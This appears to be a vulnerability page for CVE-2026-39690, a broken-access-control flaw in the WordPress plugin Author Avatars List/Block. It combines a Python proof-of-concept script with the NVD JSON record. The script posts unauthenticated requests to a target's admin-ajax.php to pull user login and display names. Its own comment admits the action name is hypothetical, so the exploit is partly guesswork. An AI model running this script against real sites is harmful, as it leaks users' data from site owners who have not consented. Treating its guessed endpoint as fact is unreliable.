CVE-2026-39690

#!/usr/bin/env python3 """ PoC for CVE-2026-39690 (Author Avatars List/Block <= 2.1.25) Vulnerability: Missing Authorization / Broken Access Control Description: Unauthenticated users can access restricted endpoints. """ import requests import sys def check_vulnerability(target_url): """ Attempts to access a privileged action without authentication. Note: The specific 'action' parameter may vary based on plugin version/config. """ ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload attempting to list users without authentication payload = { "action": "author_avatars_list_users", # Hypothetical action name based on plugin slug "limit": 10 } try: print(f"[*] Sending request to {ajax_url}...") response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 200: # Check if response contains user data (JSON or HTML list) if "user_login" in response.text or "display_name" in response.text: print("[+] Potential vulnerability confirmed! Sensitive data leaked.") print(f"[+] Response snippet: {response.text[:200]}") else: print("[-] Request successful but no obvious data leaked. Plugin may be patched.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python3 {sys.argv[0]} <http://target-site.com>") sys.exit(1) check_vulnerability(sys.argv[1])

{"cve": {"id": "CVE-2026-39690", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:41.110", "lastModified": "2026-04-24T18:05:35.730", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Paul Bearne Author Avatars List/Block author-avatars allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Author Avatars List/Block: from n/a through <= 2.1.25."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/author-avatars/vulnerability/wordpress-author-avatars-list-block-plugin-2-1-25-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}